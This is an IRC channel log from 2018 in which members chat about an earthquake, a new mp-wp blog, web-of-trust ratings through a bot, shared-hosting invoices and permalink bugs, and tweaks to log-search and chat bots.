13:56 mircea_popescu in other news, earthquake last night unhooked this coil of rope that was resting inside an anal hook hanging from the ceiling of a corridor. plus knocked over girl's essential oils bottles, sent some coffee bags off to seek their fortune about the kitchen floor and so forth!
13:57 asciilifeform aalmost may as well live in jp neh
13:57 mircea_popescu it's getting pretty crazy.
13:57 asciilifeform ( this is... 3rd ? one on mircea_popescu's watch ? this yr )
13:58 mircea_popescu 2nd this week at any rate
13:59 mircea_popescu prolly a dozen or so this year.
13:59 asciilifeform quasi-relatedly, did mircea_popescu ever learn jp lang ?
13:59 asciilifeform it is entertainingly martian
13:59 mircea_popescu but there was a major 7.0 one a year or so back yeah
13:59 mircea_popescu asciilifeform never did, no.
14:00 asciilifeform i don't know of any practical reason to; but strictly for mental muscle build, it is notbad
14:00 mircea_popescu i guess.
14:04 asciilifeform ( disregarding, even, the hieroglyphs : picture eurolang with declensions , but instead of inflecting nouns per se, they are standalone words, 'particles' . and instead of 6 or 7, there's a coupla dozen. )
14:06 mircea_popescu meh.
14:08 mircea_popescu butt in other lulz, http://trilema.com/wp-content/themes/trilema/images/bg_mar2018.jpg
~ 22 minutes ~
14:30 lobbes In other news, my spiffy new mp-wp blog is now live: http://lobbesblog.com/blog/
14:30 lobbes Post detailing my own compendium of notes to come prolly tonight. Aim is for it to supplement hanbot's existing compendium (e.g. will include notes on how to prime mysql and wp-config.php for mp-wp's auto table-creation process)
14:35 mircea_popescu nice!
14:36 mircea_popescu someone should prolly make some themes for these...
14:36 mircea_popescu in fact, there is a TON of work for a competent art guy. eulora needs stuff ; i want to get a porny comic off the ground ; mp-wp needs theme work...
14:36 mircea_popescu anyone know a starving artist that's ACTUALLY GOOD ?
14:48 mircea_popescu http://logs.bvulpes.com/trilema?d=2018-3-23#318265 << well it's one of the few places accessible from the internet where anyone actually reads anything. that's kinda why.
14:48 mimisbrunnr Logged on 2018-03-23 16:22 douchebag: I don't see why every single thing that happens in this channel has to turn into some big ordeal
14:49 mircea_popescu http://logs.bvulpes.com/trilema?d=2018-3-23#318278 << what, all it does is he can't auto-up anymore, no need to auto-devoice is there.
14:49 mimisbrunnr Logged on 2018-03-23 16:26 asciilifeform: um trinque ?
14:50 mircea_popescu !!gettrust douchebag
14:50 deedbot L1: 1, L2: -1 by 3 connections.
14:50 mircea_popescu http://logs.bvulpes.com/trilema?d=2018-3-23#318281 lel
14:50 mimisbrunnr Logged on 2018-03-23 16:26 deedbot: L1: -1, L2: 3 by 3 connections.
14:53 mircea_popescu trinque there's something amiss here ; i see 4 ratings from 4 people in teh l1, how can it be +1 ? should be 0 no ?
14:57 trinque !!gettrust deedbot douchebag
14:57 deedbot L1: 0, L2: 0 by 4 connections.
14:57 mircea_popescu ah ok
14:57 trinque that was measured from herr alf
14:58 mircea_popescu oh i see
14:58 mircea_popescu makes sense.
14:59 mircea_popescu anyway douchebag come up with something interesting, i'll voice you so you can announce it.
15:06 mircea_popescu ben_vulpes plox put a favicon on your log site, i can't pick it out of the tabline.
15:07 ben_vulpes mircea_popescu: ack
~ 1 hours 10 minutes ~
16:18 deedbot http://pizarroisp.net/index.php/2018/03/pizarro-shared-hosting-a-screaming-deal-for-0003-btcmo/ << PizzaroISP - Pizarro Shared Hosting - a screaming deal for 0.003 BTC/mo!
16:19 diana_coman uhm, page not found? link should be http://pizarroisp.net/pizarro-shared-hosting-a-screaming-deal-for-0003-btcmo/ (without index.php)
16:21 ben_vulpes i did not realize that previously published permalinks would break when switching to the slug
16:24 ben_vulpes aight well i switched it back for now but that's awful and will have to get fixed
16:29 mircea_popescu i dun think they break, you got some other bug in there.
~ 27 minutes ~
16:56 mircea_popescu pizarro.net/pi also 404s, for instance
16:58 ben_vulpes aaayup
16:59 ben_vulpes well once we have hanbot up and running with an mp-wp produced from her patches i'll move this over to that setup
~ 1 hours 56 minutes ~
18:56 ben_vulpes !!invoice danielpbarron .00077419 8 prorated days of shared hosting (march)
18:56 deedbot Get your OTP: http://p.bvulpes.com/pastes/mwF1J/?raw=true
18:56 ben_vulpes !!v D36B2DA16801DD29974345218BE070ADF8EF027B47EF75F04DC3F8D6457F9B5E
18:56 deedbot Invoiced danielpbarron .00077419 << 8 prorated days of shared hosting (march)
19:01 ben_vulpes !!key danielpbarron
19:01 deedbot http://wot.deedbot.org/155934BDD16E8EAF4493CB9CB36AE9849D961AC9.asc
~ 1 hours 9 minutes ~
20:11 lobbes !!balance
20:11 deedbot http://p.bvulpes.com/pastes/AvsQe/?raw=true
~ 18 minutes ~
20:29 mircea_popescu !!up douchebag
20:29 deedbot douchebag voiced for 30 minutes.
20:29 douchebag Okay, so this should be quite trivial
20:30 douchebag This is a logged channel, unless invoices and withdrawls were made in PM. The balances could be determined by viewing the logs.
20:31 mircea_popescu ...
20:31 douchebag It's true though.
20:31 mircea_popescu obviously if someone wants to make something public, then that someone made that something public.
20:31 mircea_popescu you've got quite the hard-on for the trivial case, don't you ?
20:31 douchebag Okay, down me then.
20:31 mircea_popescu not even a terrible idea, but...
20:32 douchebag I'll continue pressing this bots buttons
20:32 mircea_popescu just don't make a lot of noise in channel.
20:33 douchebag okay <3
20:33 asciilifeform !~later tell BingoBoingo http://p.bvulpes.com/pastes/8QtVj/?raw=true
20:37 shinohai kek, these logs today. When you piss mod6 off, you know it's real.
20:44 asciilifeform !~later tell BingoBoingo corrected ver http://p.bvulpes.com/pastes/KEJxg/?raw=true
20:45 shinohai heh jhvh1 down. Try lobbesbot
20:46 asciilifeform i do not know the magic for it
20:46 lobbes !Q
20:46 shinohai Since I ported everything over to the trinque model (since yes I *did* find the sauce) prolly won't put it back up.
20:46 lobbes or the whole thing: !Qlater tell
20:46 asciilifeform !Qlater tell BingoBoingo corrected ver http://p.bvulpes.com/pastes/KEJxg/?raw=true
20:46 lobbesbot asciilifeform: The operation succeeded.
20:47 asciilifeform ty lobbes , shinohai
20:47 lobbes oh nice shinohai. you got the markets thing working in lisp?
20:48 shinohai The --market all thing still needs work, but ticker works. You should probably take over the gribble functions though.
20:49 lobbes word. which ones are needed?
20:50 shinohai I can tar the plugins up for you if you need 'em.
20:50 shinohai Might be a few days though, plate been kinda full of late.
20:51 lobbes that works. Honestly could be a bit before I get to them anyways
20:52 lobbes I could always just slap up a separate gribble instance with this new pizarro shell tho. May be the cleanest that way actually.
20:52 mircea_popescu become the first man with two bots ?
20:52 lobbes no way I could be the first?
20:53 lobbes for some reason I want to say someone else had two, but I cannot produce a person so mebbe not
20:53 asciilifeform possibly old man kako
20:55 mircea_popescu ben_vulpes there's no "from" op in your logotron is there ?
20:57 shinohai Will do lobbes .... been busy setting up a binhost for personal use, so I don't have to compile the same goddamned packages 5,420 times.
20:59 mircea_popescu http://logs.bvulpes.com/search?q=%22qntra.net%22&c=trilema <<< ahem
20:59 shinohai Removing quotes woks
20:59 shinohai *works
21:00 mircea_popescu oh it has implicit quotes i see
21:00 ben_vulpes i have two bots
21:00 ben_vulpes no from op, implicit quotes
21:00 mircea_popescu http://logs.bvulpes.com/trilema?d=2018-3-23#318191 << napoleon choice, it's the only sensible choice. us wants to go out with a bang! like france! everything must be done like france!
21:00 mimisbrunnr Logged on 2018-03-23 16:03 deedbot: http://qntra.net/2018/03/moves-in-trump-administration-signal-the-remains-of-the-us-moving-into-a-more-aggressive-posture/ << Qntra - Moves In Trump Administration Signal The Remains Of The US Moving Into A More Aggressive Posture
21:01 ben_vulpes both of which are irksome, yes
21:01 mircea_popescu ben_vulpes the quotes i don't mind much but i need the from, can't find shit like what spyked said otherwise so i missed a "you have two" refernece, because apparently i only made a ro one on trilema and wtf.
21:10 ben_vulpes roger
← 2018-03-22 | 2018-03-24 →